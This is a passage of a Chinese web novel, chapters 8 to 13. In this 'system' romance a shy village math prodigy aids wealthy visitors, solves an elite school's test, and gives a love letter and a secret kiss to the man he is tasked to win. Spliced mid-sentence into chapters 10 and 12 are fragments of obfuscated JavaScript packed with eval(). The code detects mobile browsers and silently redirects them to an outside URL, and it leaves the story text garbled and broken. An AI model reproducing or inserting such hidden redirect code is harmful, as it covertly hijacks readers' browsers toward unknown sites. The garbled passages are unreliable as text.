小檬趴在他床边,看着少年膝盖上青紫的伤口,心疼地抽噎着鼻子,然后往伤口上吹气,用软糯的声音说:“呼呼,舅舅不疼!呼呼呼。” 陶柠被小檬天真可爱的动作逗笑了,他勾起嘴角,恰好清晨的光线淡淡洒进来,卷起山中的晨雾,带着朦胧湿意的微风吹起他额前的碎发。 小檬盯着他,亮晶晶的眼睛发光,“舅舅,你真好看!” 陶柠把棉签扔进了垃圾桶,摸了摸他柔软的头发,笑着说:“好看是夸阿姐的,你要说舅舅很帅。” 小檬似懂非懂地“噢”了一声,然后甜甜地笑起来,“那妈妈和舅舅是世界上最好看的人!” 陶柠又笑了一下,思考了几秒,接着说:“小檬,不可以对那个.....嗯.....” 他在想该怎么对小檬提起赵静群,过了片刻,才说:“昨天来的那个哥哥,你要叫他静群哥哥,他是客人,不可以对客人没礼貌,知道吗?” 小檬学着叫了一声,“静群哥哥?” 陶柠弯起眼睛,“嗯,静群哥哥。” 少年的声线软而轻,就像一场四月的春雨落在柠檬树上,柔软的唇咬下“静群哥哥”四个字,春雨降临,淅淅沥沥。 嘀嗒、嘀嗒。 雨滴落进了门外的人耳中。 赵静群身上还沾着朝露,手里提着装了药膏和衣服的黑色塑料袋,慢慢的、清晰的,他这次听见了自己的心脏在剧烈跳动,逐渐与春雨落下的声音重合了。 8. 第 8 章 陶柠还想再多叮嘱小檬几句的时候,门突然被推开了。 男人踏着漫不经心的步子进来,脸上又恢复成那副似笑非笑的神情。 他把一个黑色塑料袋往陶柠书桌上一扔,恰好塑料袋撞在数学测试题上。 那些“秘籍”的封面露出一个角——是两只手牵在一起的画面,看手的大小和形状,也知道不是一男一女。 赵静群目光一凝,他更好奇了,这呆子到底在看些什么? 但陶柠没发现自己的秘籍要暴露了,注意力全部被那个黑色塑料袋吸引。 小檬转眼就把他的话给忘了干净,噔噔噔跑到书桌前,打开塑料袋一看,惊叹说:“舅舅!里面好多衣服!” 陶柠有些惊讶,看向逆着光站在门口的赵静群,后者眼神略微闪烁,看不出多少情绪,淡笑道:“借住的住宿费。” 陶柠明白过来了,“哗啦”一声,这时候小檬已经把一件又一件衣服拿了出来。 这些衣服都被包裹在完好无损的透明塑料袋里,塑料袋外面都印着陶柠从未听说过的牌子和标志,但是他在商场里见到过。 他穿的最多的衣服,就是小县城里路边上几十块两件的短袖和裤子,虽然质量不太好,有时候他还会有些过敏,但陶柠一般也能穿很久。 这几乎是他头一次收到装在塑料袋里、有精美标志的衣服,看起来就知道很贵,小檬又翻出来几支膏药,献宝似地捧到他面前。 “舅舅,这里面还有药呢!” 陶柠不清楚向导任务结束后书记会给他多少钱,但现在赵静群给他买的这些东西肯定价格不菲。 那岂不是提前预支工资了? 陶柠为自己又赚到一些钱感到高兴,一双湿漉漉的眼睛看过去:“谢谢你,你真是个好人。” 小檬看他这么说了,嘟了下嘴,也跟着说:“静群哥哥,谢谢你。” 这一大一小亮晶晶的眼睛乖巧看过来,赵静群内心的冰忽然被融化了一点,大早上赶去拿东西的疲倦也消散了。 他嘴角勾起的弧度高了些,可话到嘴边,却说:“其他两家都买了,你别想太多。” 陶柠对他的话有些摸不着头脑,他想太多什么了?但还是乖巧地点了点头,过了片刻,轻声问:“那下次……可以直接换成钱吗?” 听到这话,赵静群嘴角的笑有些挂不住了,这呆子还得寸进尺了?这是追人的态度么? 屋内陷入诡异的沉默,陶柠有些困惑,“不可以的话,那……抵消一点我欠的债可以吗?”不料眼前的男人嘴角的笑更冷了。 陶柠也更困惑了,同时挫败感也更深,自己果然不适合做数学题以外的事情,嘴巴笨,也不知道说什么话讨人开心。 就在诡异的沉默逐渐蔓延时,刘书记匆匆过来了,喊陶柠去给他们带路,并且万般叮嘱要好好招待远道而来的客人。 陶柠认真地点点头,因为膝盖上的伤口有些吓人,他这次换了长裤,这次代步的工具依旧是那辆破旧的电动三轮。 只是这一次,赵静群默不作声去了后座,陶柠从家里带了些东西,一个人坐在前面开车。 他开得稳稳当当,一路把赵静岁、何年年还有何言他们三人接走了。 何年年一上车就开始抱怨:“他们这村里条件也太差了,我连觉都睡不好,看我的黑眼圈,岁岁,咱们下次不要来了。” 赵静岁温柔地看着她,“好,下次不来了。” 何言则翻了个白眼:“你有黑眼圈?恐怕睡得和头猪一样吧,昨晚给你打四五个电话都没接。”说完,他小心瞥了一眼坐在自己身旁的男人,嘟囔了一嘴,“我看赵哥确实是没睡好......” 昨天那个胆怯的少年坐在他们前方开车,而男人坐在他左边,眼角下有明显的乌黑,头是偏向正前方的,目光似乎也落在前方,但看起来有些漫不经心。 感受到右边人探究的眼神,赵静群不紧不慢扫了他一眼,挑眉说:“哦,蚊子多了点,是没睡好。” 何言尴尬地笑了几下,氛围陷入沉默,一直到陶柠停下车,气氛才又活跃起来。 何年年拉着赵静岁下车,牵着她的手赞叹道:“岁岁 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“两人因此结缘,互许终生。但人的寿命却很短,五十年后,巧姑离开了世界,埋葬在这座山里,轩无法接受她离开,就把自己的身躯化作了这片湖和远处的梯田,他希望以这样的方式,守护这座山,生生世世和巧姑在一起。” “所以我们黄檬村也有一个习俗,”少年顿了顿,轻轻地笑起来,“如果遇到了心仪的人,就会带他来这座山宣誓,把红绸系在一棵树上,许愿和他永远在一起。” 第一次听少年说那么多话,而且没有丝毫停顿,也不见平日里的腼腆,仿佛只要碰到他会的知识,便无所不能,无所不知。 所有人怔怔地看着他,直到何年年拉着赵静岁的手撒娇说:“岁岁,等会儿你画完画后我们就去宣誓吧,喂,那个、那个姓陶的,你带了红布没有?” 她话落下后,见有人投过来古怪的眼神,何年年顿时怒了:“你们这些臭男人想什么呢?!我和岁岁是好闺蜜!好闺蜜知不知道?好闺蜜就是要一辈子在一起的!” 赵静岁忍俊不禁,“好,等会我们就去。” 而此时此刻,赵静群的目光又回到了陶柠身上,想起他刚才讲的故事,忍不住出神。 宣誓?有点意思。 9. 第 9 章 陶柠说完后,找了一块最合适的草地给他们写生,然后翻了翻自己的带的东西,就去找独自在角落抽烟的赵静群了。 “给,”陶柠递给一瓶七神花露水给他,“涂在蚊子咬的包上,可以止痒。” 赵静群抽烟的动作一顿,缓缓吐出一口烟雾,他盯了少年片刻,把烟蒂扔地上,接过花露水,语气听起来是随口问的:“你怎么知道我被蚊子咬了?”嘴角却愉悦地勾起来。 这小基佬是偷听他说话了吧?还挺会献殷勤。 “刚才你在车上说没有睡好觉,是被蚊子咬了。”陶柠顿了顿,心想家里的蚊子从来不咬他的,但现在突然多出来一个人,是他没有考虑周全,还好带了花露水。 “我晚上点盘蚊香。” 是不是怕自己不睡他家了?又是送花露水又是点蚊香。 这么一想,不知道为什么,赵静群心情更好了点,面上却看不出多少情绪,刚想让这呆子带他去找一下宣誓的地方,旁边就传来何言冷嘲热讽的声音。 “何年年,你去重读小学吧,连最基本的加减法都能算错,这个世界上再也找不出比你更蠢的了......” “何言你找骂是不是?!你自己教得什么玩意你自己心里不清楚吗?我也建议你去重读小学语文,就你这语言表达能力只有猪能听得懂!” “是啊,我就是在教一头猪!” 何年年当即就火了,“啪”的一声把物理试卷扔到地上,撸起衣袖就想和何言干架。 赵静岁夹在他们两人中间,无可奈何道:“要不试一下小猴搜题呢......” 赵家有钱有权,赵静岁成绩也好,不过她喜欢画画,走的是艺术路线,所以这次出来就带了画具。 何家家里也有钱,但比较特殊,是圈子里不太看得起的暴发户。 何父何母为了让家里融入圈子,拼命培养一双儿女,为此把何氏兄妹送到了上流社会才能入读的私立精英学校。 每年不包括其他费用,光学费就六七十万的投入,所以何父何母对他们的成绩和排名看得很重。 其中何言的成绩勉强过得去,何年年就有些惨不忍睹了,尤其是她不擅长的数理化,现在何言还嘲讽他,她忍不了一点,当即张牙舞爪扑了过去。 就在两人要来一场生死决斗时,身后响起一道干净柔软的声音:“我可以教你。” 闻言,何年年看过去。 只见穿着洗到发白的衣物和鞋的少年缓步走来,他弯腰拾起被她卷成一团的试卷,很轻地将试卷展开,而后耐心地把试卷上的褶皱抚平。 少年垂着头扫了几眼,露出白皙而线条优美的侧脖颈,短短几秒便抬起头,厚重而呆板的黑框眼镜后,是一双清澈真诚的眼眸,“这些题我会,可以教你。” 何年年掐着何言的手停了下来,仿佛听见了比何年说她是一头猪更加可笑的事情。 她双手抱臂,脸上的不屑和鄙夷毫不掩饰,“你在搞笑吧?你知不道自己在大言不惭说什么?你们这山沟里学的东西能和我们比吗?我们学校的题目,拿你们这市里边最好的学校比,也难上千百倍......” 因为学校奉行精英模式,所以学校内有除了多到数不清的课内外拓展活动,平日里布置的作业,也一般从竞赛题里选,有些学生学起来很困难,所以早早就选了艺术路线或者出国留学。 剩下一小部分还在坚持文化道路的,都是一些聪明到不屑靠家里的学生和学校特招的、用来提高国内名校录取率的普通学生。 当然,何年年是个例外,她对艺术一窍不通,又不肯让何言比下去,所以还在坚持文化学习。 听到这话,陶柠站在原地有些不知所措,“我、我.....” “让他试一下怎么了?” 这时候,一道低沉微冷的声音打断了僵硬的气氛,赵静群双手插着兜走来,他似笑非笑地看着撇嘴的何年年。 男人虽是笑着的,但眼神却很冷,令人看一眼便发怵。 何年年嚣张的气焰一下子就灭了,她是打心底害 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用脚指头想也清楚,一座小山村里出来的学生,根本比不过集全国教育资源培养出来的名校学生,更何况去做他们的题目。 所以他走到低头没说话的少年身前,想凑近了提醒他几下。 到了跟前,却闻到昨晚睡不着真正的元凶——那股甜腻的柠檬香后,赵静群不自然地停下脚步,低声道:“做不出来也没关系。” 陶柠没有解释,点了点头,找了块干净的草坪坐下来。 赵静岁给了他一支笔,他接过来,开始闷着头写。 时间一点点过去,何年年甚至懒得凑过去看,翻着白眼瘪嘴道:“他要是能做的出来,我从这山上跳下去好吧,真是服了,唉。” 她扣了几下手指甲,满不在乎说:“喂,你做不出来我也不会和你计较,毕竟你们乡下人想找点存在感我知道,但下次没见识就别装了……” 10. 第 10 章 于是除了赵静群站在不远处盯着少年看后,其他三人该做什么,就做什么去了,显然是丝毫不相信陶柠可以把题目做出来。 赵静群皱眉,盯着少年闷头写的呆头呆脑的模样,一时间心头涌现出了复杂的情绪,这呆子有够呆的,就不知道用手机算一下数或者查个题目么? 但是想起何年年说题目查不到,而陶柠根本没有手机。赵静群也不知道是该拿这呆子怎么办了。 正思索着,赵静群忽然惊觉,这呆子做不做的出来,关自己什么事儿?我对他的关注是不是有点过了? 他有些僵硬地把视线从陶柠身上移开。这时候,少年轻软的声音像一阵微风吹了过来:“做好了。” 赵静群的视线再次被他吸引。 微风落下,其他三个人皆是一惊,何言低头看了下手表,“靠,半个小时不到你就做好了......?”装也得装的像样点吧。 就在所有人都这么想的时候,何年年走过去,“唰”地把试卷夺走,她脸上满是嘲弄,低下头看,然而没过多久,她脸上的表情从不屑逐渐到凝重。 看到最后,她咬牙冲何言喊:“快把答案从我包里面拿出来!” 何言也意识到了不对劲,赶紧把答案拿过去,他们学校把难到变态的题目发下去后,还会再发一份答案,至于抄不抄,全靠学生自觉。 他一边递过去,一边去瞟何年年手上的试卷,只见试卷上,一部分是何年年奶酪状的字体,另一部分,则是与少年本人完全符合的方方正正的字体,就像刻板的机器人一样一笔一划把解答的过程写出来了。 何言看得懂一些,他发现,这深山老林里少年写的,甚至比答案的过程更好理解,也更详细! 而且是……全对! 何言被震惊到说不出话,心底暗暗咂舌,这他妈遇到什么变态了??连最后一道大题都写出来了,而且这些题目一共五道选择题,五道大题,这土包子写完所有题目的时间,竟然连半个小时都没有! 要知道,他们班上第一名都做不到这个地步,能有这种速度和准确率的,只有学校里那些智商高到离谱的竞赛变态,而那些变态,早已经被国内外各大知名高校预先定了的,少部分则是冲着省状元的名头去的。 但是现在,那些难倒无数人的题目,居然会被一个深山老林里出来的学生做出来了! 这.....这...... 何言瞬间换了一种心情看陶柠了,仿佛在他面前的不再是一个深山的土包子,而是一个长了三个脑袋六只手的超级怪物。 觉得不可思议的同时,何言也松了口气,还好这种变态估计一辈子就待在这种深山老林了,未来他们回到学校,也不会碰到这种人。 另一边,何年年显然深受打击,她难以置信地把少年写的答案与标准答案看了一遍又一遍,到最后,拿着试卷的手在颤抖,想起自己刚才嘲讽了这个少年半天,她眼眶发红了,“......你是不是拿手机查了?你怎么可能做的出来?” 可何年年忘了,是她自己亲口得意地说这些题目手机上找不到答案的。 她似乎难以接受一个山沟里出来的学生,竟然把她一个出身精英学校的学生比下去了,“啪”地一下把试卷砸在地上,眼角的泪大颗大颗落下来。 何年年大声吼着:“你以为你是谁?!就算你写出来了又怎样,就是靠运气!你根本不配教我!” 赵静群的脸色瞬间阴沉下去,身上漫不经心的气息一下子敛去了,浑身散发出压迫感,他挡在陶柠面前,一双如冰的眼睛冷冷看着她,“你没事找事是么?” 虽然许多人都在传谣说赵家找回来的大少爷曾经是个混混,可没多少人见过,但此时此刻,任谁也不会怀疑,那些谣言是假的。 他浑身上下散发出来的压迫感,以及眼眸中的冷意,是要在无比混乱的地方练就出来的。 然而何年年在气头上,根本管不了惹到赵静群的后果,她像只被逼急了谁都咬的兔子,红着眼眶大声质问回去:“我就是没事找事!你能拿我怎么样?你是岁岁的哥哥,总是护着外人做什么?!他有什么好的你要护着他……” 她不说这话还好,一说完,赵静群的脸色更阴沉了,但如果仔细去看,就会看到他眼底一闪而过的慌乱,他甚至用余光瞥了一眼站在原地手足无措的少年。 他略微咬牙,“你闭嘴。” “怎么了?!被我戳中心事了吗?”何年年像是逮住了能反击的事情,火焰顿时更嚣张起来了,“我看你对这个土包子好就是……” “年年!” 这时候,赵静岁站出来打断她的话,她走到两人中间,箭拔弩张的气氛才缓和一些。 赵静岁一把抱住何年年,后者在她怀里哭出来了,“岁岁……他们都欺负我……我要回家。” 赵静岁拍了拍怀里的人,低声哄她,“好了没事了,他做出来就是凑巧而已,说不定他以前做过,年年你才是最厉害的。” “岁岁本来就是你说的这样……” 看着互拥的二人,赵静群心底的火气烧得更旺了,他冷笑一声,话中带刺:“自欺欺人。” 这话一落,瞬间像火把点燃了炸弹,何年年猛地从赵静岁怀里钻出来,头发凌乱,双目猩红地瞪着他。 就在她又要怒吼的时候,一道很轻的声音响起,却也瞬间平息了她们的怒火。 “她说的没错……我以前……做过相同的题目。” 他们看过去,只见少年一个人孤零零地站在原地,垂着头,天色逐渐黯淡,没有人能看清他脸上的表情,却只能听见他细弱蚊蝇的声音,“是我……是我错了。” 此时此刻,少年看上去才有真正从深山走出来的自卑,他的手在微微发抖,捏着衣角,看起来非常局促不安。 “我下次……不会了。” 赵静群看着他,忽然,心脏好似被泡进了酸涩的水里,整颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【请在明日降临之前,选择写一封情书给他或者偷亲他!两个都选攻略更胜一筹喔。好包子,攻略加油吧!】 陶柠愣了一下,系统也在他脑海里嗑瓜子磕得更起劲。 【呆瓜,选一个吧。】 氛围凝滞了几秒,系统听见陶柠低声说:“我都选。” 系统的瓜子掉地上了,震惊道:【呆瓜,你醒悟啦?】 这小呆瓜以前不是比较抗拒这些任务吗?怎么今天一下子那么积极? 陶柠垂着眼睛,浓密的长睫微微颤抖,似乎暴露了少年的心绪,“不、不是的,我现在觉得,他是个好人……我把他当朋友。” 【很有道理啊呆瓜!你不抗拒就好了,你实在不喜欢他们,也可以和他们做朋友嘛。】 【不过你们人类的朋友是可以偷亲的吗?】 “是……是吧……” 11. 第 11 章 吃完饭后,已经是晚上七点了,陶柠在院子门口站了一会,一张白皙的脸微微皱着,似乎在思索。 【呆瓜,你在想什么呢?今天马上就要过去了,如果任务没完成,我是不会心慈手软的,哼!上次你希望我加夜班的事情我还记得呢。】 陶柠真心实意道:“对不起……我在算他六点左右去了县城,回来要两个小时,我写字的时速是每分钟二十八到三十个字左右,如果时间充足,我能写三千五百个字的情书,可是还有其他不可控的原因,不确定的概率……” 系统瓜子又掉了: 【呆瓜,你怎么知道他去了县城?那你到底能写多少字啊?】 陶柠不好意思地抿唇一笑,嘴角勾起若有若无的梨涡,“我猜的,上次他带回来的衣服,我去年六月初在县城商场里看到过……所以我想,他这次也去县城了。” “我应该会写满两千五百字。” 【咦?那不是少写一千字了。】 陶柠边往回走边和它聊,“我语文没学好,写太多了……不好。” 系统问:【有多不好?】 然后它就见识到了—— 只见写起数理化脸色都不变一下的陶柠,现在神色如临大敌。 他铺开整齐的信纸后,翻开了一本名叫《全国作文金句1000例》的书,还有一本叫《2012年高考作文好词好句合集》这两本书。 少年端端正正坐在书桌前,拿起钢笔,一边翻作文书一边写,系统全程看着他写完,内容令它这个从来没谈过恋爱的人工智能都惊了一惊! [亲爱的赵静群……] 少年停顿了一下,他想起男人说比他大,于是又落笔: [亲爱的赵静群哥哥,我叫陶柠,今年十八岁零三个月,家住云雾县黄檬村十二组二号……] 【停停停!】 系统及时打断他,它这个人工智能都忍不了了。 【我说呆瓜,你这是写情书呢还是给自己写介绍信呢?】 陶柠愣了一下,神情微微低落下来,红润的嘴唇不自觉地抿起,“对、对不起,我没写过。” 但许多年前,他收到过很多情书。 他每天上课一拉开抽屉,就会被各式各样的情书还有面包、点心等等东西淹没,下课的时候,又会有很多人来找他玩,或者向他请教问题。 只是陶柠从来没有拆开过那些东西,所以也不知道情书该怎么写。 系统看他这副呆头呆脑的模样,叹了口气,攻略的道路任重道远啊!它果然不能多指望这呆子,也明白他说怕写多了不好是什么意思了。 但这也太不好了!! 可是少年垂着头,巴掌大的脸上满是真诚,潋滟的双眸逐渐黯淡,露出一点小委屈的模样令人见了,只想把他抱进怀里哄着。 系统的运转器忽然卡了一下。 【其实……写得也不错。】 【你继续写吧。】 陶柠黯淡的眼睛一下子亮起来了,“真的吗?” 【当然是真的,但他收不收我就不知道了。快写吧,已经七点一刻了。】 于是陶柠埋头继续写,一笔一划写得极其认真,小小的房间里,微凉的晚风吹进来,“沙沙”声不绝于耳。 直到九点钟的时候,陶柠才终于停笔,他把写了情书的信纸用牛皮纸信封装了起来,上面写着“给赵静群哥哥”六个字。 只是到现在了,赵静群的人还没见踪影,陶柠就给自己的膝盖涂了药,膝盖上的青紫还未消退,看上去仍旧可怖。 他又点了一盘蚊香,淡淡的烟雾在房间里腾升起,最后才放心去洗澡了。 陶柠擦着头发出来的时候,赵静群已经回来了,他斜靠在门框边,一条长腿弯曲着,嘴里叼了根烟,和里面蚊香很淡的烟雾不同,烟头燃起的烟雾浓烈又刺鼻。 似乎与抽这种刺激性很强的烟的主人一样,危险性极强。 男人没什么情绪的目光扫过来,几乎一闪而过,语气不太好:“我特意给你买了衣服,怎么又穿成这样……伤还没好么?” 穿着小短裤的陶柠愣了一下,注意力又跑偏了:“……原来是你特意给我买的吗?” 意识到自己说漏了嘴,赵静群低声咒骂了一句,片刻,他把烟踩灭,有些僵硬地岔开话题,“我捡了个东西,放你桌上了。” 然后回房了。 陶柠小小的“哦”了一声,跟着他进屋,他一进去,就看到了桌上的手机。 看到手机的那刻,陶柠怔住了,他轻轻碰了一下,手机是一个他认识的牌子,陶圆用的也是这款,只是很便宜。 他对这些价值昂昂的东西不了解,所以不知道这款手机要多少钱,但看起来比他阿姐的要好些。 陶柠惊讶地问:“这……这是你捡的吗?” 赵静群坐在板凳上,双手放在后脑勺处,靠着墙,神色看起来有些疲倦,就连那头张扬的红发也黯淡了,平静的“嗯”了一声。 男人看起来神色无波,但只有他放在后脑勺处的手收紧,凸起来的青筋,暴露了他此刻暗潮涌动的心情。 陶柠相信了他,小心翼翼收回手,认真地夸赞道:“你真厉害,能捡到这么好的手机。” 听到这话,赵静群睁开眼,双眸盯着他,好似一只休憩的独狼盯上了他的猎物,而独狼的猎物,用甜腻的话语奖励了他。 好半晌,男人用低沉沙哑的声音说:“我手机多的是,这台捡的送你了。” 他特意在“捡的”这两个字上加重了语气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859533|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陶柠急忙道:“谢谢你,可是我不能要,手机太贵重了。我已经收了你的衣服和药……” 听见他又提起衣服,赵静群的脸色微沉,目光不自然地从他白皙的双腿上移开,“不要的话我扔了。” 陶柠愣了愣,“扔了很可惜的。” “那你拿走。” “可是……” 结果还没等他说完,赵静群忽然站起身走过来,抄起手机作势要往外扔,见状,陶柠急忙抱住他的胳膊,“我收!你不要扔,很浪费的……” 然而他还没抱住几秒,被他抱住胳膊的男人像是被烫到了一样,迅速甩开他往后退,脸颊两侧被碎发挡住的耳尖,泛起了一丝丝微不可闻的红。 “别动手动脚的。”男人的声音又低了几个度。 “对不起。” 见少年低落下去,男人忽然想起他白天受到的委屈,手指不受控制地蜷缩了几下,咳嗽一声道:“何言他们兄妹明天就走了。” “为什么啊?” “家里有事。” “噢。” 但陶柠不知道的是,男人兜里的手机,显示屏还未暗下去,上面是几条隔着屏幕,也能感受到冰冷的消息—— 【明天把何言他们兄妹接回去,不来接,我有的是办法让他们主动离开。】 收信人回的很快,【赵少,您别冲动!!我明天马上把他们接走。】 【嗯,后天来接我和赵静岁。】 【赵少,不是说最少待半个月吗?】 【赵少?……】 赵静群回过神,却看见少年已经走向书桌,不知道翻翻找找在找什么,是上次看的书么? 没等他细想,少年又走过来了,他洗澡后没有戴眼镜,皮肤像滑腻的牛奶,白到发光,浓密卷翘的睫毛一直在颤抖,似乎非常紧张。 他那双浅棕色瞳孔的眼睛看过来时,赵静群迅速移开了眼,心脏在“砰砰”直跳。 这呆子……想干什么? 赵静群心底总有种慌乱的错觉,下一刻,一个牛皮纸信封出现在眼前,紧接着是少年用软糯的声音,字正腔圆道: “赵…赵……赵静群,请你……收下我的情书……” “轰隆”一声,这句磕磕绊绊的话落下后,赵静群只觉得有道惊雷在耳边炸开了,他难以置信却夹杂着另一种波涛汹涌的情绪道:“你……说什么?” 少年第一次做这种事情,很是紧张,急忙垂下头不敢看他,鼓起勇气又说了一遍,“请你收下我的情书!” 他垂着头,只能看到男人沾了些泥巴的运动鞋,此时此刻,屋子里静到了可以听见一根针落地的声音。 不知道过了多久,陶柠才听见身前的男人语气僵硬说:“我不喜欢男的。” 12. 第 12 章 这句话一落下,没等两个人说什么,系统已经事先尖叫起来: 【呆瓜!他不喜欢你!】 陶柠愣了一下,没过几秒,后知后觉回复他:【没关系。】 系统也跟着沉默了几秒: 【他不喜欢你,也拒绝你,你不伤心吗?】 陶柠说:【不伤心。】 他心底的确毫无波澜,刚才害羞,只是他下意识的反应,就像一台电脑早已被设置好了程序,这段名为害羞的代码在碰到特定的事情就会自动运转。 赵静群拒绝他,非要说有点难过的话,只有不多不少写了两千五百个字的努力被拒绝的失落,但是被其他人拒绝,陶柠也会产生同样的情绪。 至于其他的,他毫无感觉。 仿佛他天生对某些情绪不存在感知力。 赵静群见少年逐渐失神,半天也不说话,似乎是被他的直接了当伤到了,以至于半天说不出话来。 他的心忽然被刺了一下。 赵静群不自觉地摩挲起虎口陈旧的烟疤……为什么?他不敢去深想,也是头一次,犹豫了很久才解释:“你是男的……我也是男的,我们没有结果。” 现在华国男人和男人在一起不常见,大多数同性恋都是藏着掩着的,怎么这呆子就敢那么明目张胆? 他们这山里看上去也不像是开放的,要是被其他人知道了,不知道到要带来多大麻烦,估计会骂陶柠是疯子,有病。 赵静群呼吸重了点,又说了一遍:“……你死了这条心,我不喜欢男的。”话到最后,忽然又加了句,“你也别去招惹其他男人。” 陶柠愣愣地看着他匆忙离开,男人的步伐有些凌乱,跨过门槛的时候还绊了一下,背影显得略微狼狈。 徒留陶柠在原地有些困惑,“他怎么了?” 系统也搞不懂: 【我也不知道啊,你们人类的心思真复杂。】 话到这儿,系统叹了口气: 【呆瓜……你不会第一个男人都攻略不了吧,后面还有俩,你受得住吗?啊不,你攻略得下来吗?】 陶柠把情书放在赵静群床边,说:“我昨天晚上想了一下,其实我可以和他们做朋友,这个简单一点,朋友之间也可以说‘我爱你’的。” 系统脑子有点宕机: 【……这样也可以吗?】 陶柠有点严肃地点点头,“嗯,之前有同学欺负过我,可后来他想和我交朋友,就对我说过‘我爱你’。” 系统震惊,【你个小土包真的假的??那你怎么回的?】 陶柠慢悠悠挪到床上,抓起被子缩进去,只露出一颗毛绒绒的脑袋,伸出两只纤细的手抓住最上方的被角,说:“我不想和他做朋友,就说‘谢谢,但我不爱你’。” 系统继续震惊,【然后呢然后呢?!】 说完,开始嗑瓜子。 咔嚓、咔嚓。 瓜子一颗一颗掉下的声音伴随着夜晚的虫鸣,有湿润的晚风吹进来。 陶柠的眼皮开始不受控制地上下打架,迷迷糊糊之间,他嘟囔着说:“唔......他想揍我,结果被我阿姐看到了......阿姐揍了他一顿....好......好像明天有大雨......” 少年的声音越来越小,直至消散在窗外树叶窸窣的动静间。 系统的瓜子掉地上了:【喂!呆瓜!你还没偷亲他呢......】 山里的时间过得很快,当男人带着一身冲过凉水澡后的冷气回来时,书桌上破旧的小闹钟指向了十一点。 床上的少年已经睡熟了,借着淡淡的月色,他能看清少年微张的唇,发出很浅的呼吸声,像是草莓熟到糜烂的舌却在等待被人采撷。 赵静群移开视线,又忍不住摩挲起虎口处的烟疤。 这是他没有被赵家接走前大概十来岁的时候,因为偷吃了一块糖,被养父拿烟硬生生烫的。 所以自那以后,每当他想吃糖,都会忍不住摩挲这道烟疤。 不过是一块糖而已,他现在已经不吃糖了,只会抽十三四岁起就抽的劣质香烟。 比如说现在,男人的烟瘾又犯了,刚想出去抽一根时,却看见了他床边的情书。 他站在原地许久,久到眼底晦暗不明的情绪化作了浓墨,满到几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859534|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要溢出来。 最终,赵静群一步一步走向床沿,拿起那封情书,余光瞥到熟睡的少年身上,然后以迅雷不及掩耳之势的速度拿走,塞到了自己的枕头下。 做完这一切,男人便当作什么事情也没发生似的,掀开被子躺了进去。 只是他没合眼,一直瞪着头顶的灰色水泥板,似乎在等待一件事情。 片刻后,旁边的人忽然动了,他很轻地往这边挪动,带着既清冽又甜腻的果香。 男人的心脏又不受控制地“砰砰”跳起来,只是这一次比以往要更强烈,因为他知道……陶柠喜欢自己了。 他……还会像昨天那样钻过来么? 越是这样想,赵静群的心就跳得愈发剧烈,声音大到几乎要破膛而出,在只剩下凌乱的呼吸声中的房间里清晰可闻。 忽然,一具柔软温暖的身体凑近了过来,清甜的果香随之越来越浓烈,就好像被山里的一棵柠檬树缠上了。 赵静群迅速闭上眼,甚至紧张到屏住了呼吸,而虎口上残旧的烟疤此刻疼得厉害。 疼到他现在,想吃糖了。 就在赵静群几乎要窒息时,一个轻柔的,带着香味的一双软唇,落在了他麦色的侧脸颊上。 “!!!” 倏地一下,赵静群睁开了眼。 他直接僵硬在床上,浑身好似化作了一块石头,只能依附于柠檬树生存,无法动弹,也无法改变。 只因为一个吻。 “咔嚓”一声。 他心底最后一根弦彻底断了,就在赵静群再也无法忍住,要狠狠扣住偷吻的少年,把他死死压过来,放肆采撷这两瓣红润的唇来时。 很轻的“啵”的一声—— 偷亲的山中小贼已经离开了,并且非常熟练地躺了回去,盖好被子,又以一个很板正的姿势,乖巧地闭上了眼睛。 这下子,赵静群脸色瞬间黑成了锅底,心情也像是一下子从阳光明媚变成了狂风骤雨,只差再打几声响雷,就能把这间又小又破的屋子彻底掀翻。 赵静群扭过头,一双眼睛死死瞪着少年熟睡的侧颜,咬牙切齿道:“陶、柠!” 13. 第 13 章 陶柠正睡得迷迷糊糊的时候,系统忽然在他脑海里喊道: 【呆瓜,赵静群喊你呢!】 【……噢。】 揉了揉眼皮,陶柠睡眼惺忪地睁开眼,侧过头一看,即使屋子昏暗,也能看出男人凶狠的视线,正狠狠瞪着他。 见他醒来,凶恶的意味才淡了点。 陶柠睡眼朦胧,已经困到失去思考能力了,“……怎么……了?” “……” 这呆子刚偷亲他就忘了?! 男人的目光更加阴沉了,过了片刻,才凶巴巴说:“没什么。” 话音落下后,许久过去都没有人回应他,因为偷亲的小贼,又睡过去了。 赵静群气得额头青筋暴起,独自坐在床上心理建设了一会儿,才往枕头下摸去,拿出来薄薄的一封信。 他瞥了一眼睡得毫无防备的陶柠,悄无声息走到窗前,坐在少年从小到大的使用的凳子上,借着把银河倾泻而下的月光,小心翼翼拆开了这封情书。 男人嘴角不自觉地弯起,因为情书上的“静群哥哥”四个字,原来这呆子那么喜欢他—— [亲爱的赵静群哥哥,我叫陶柠,今年十八岁零三个月,家住云雾县黄檬村十二组二号。] 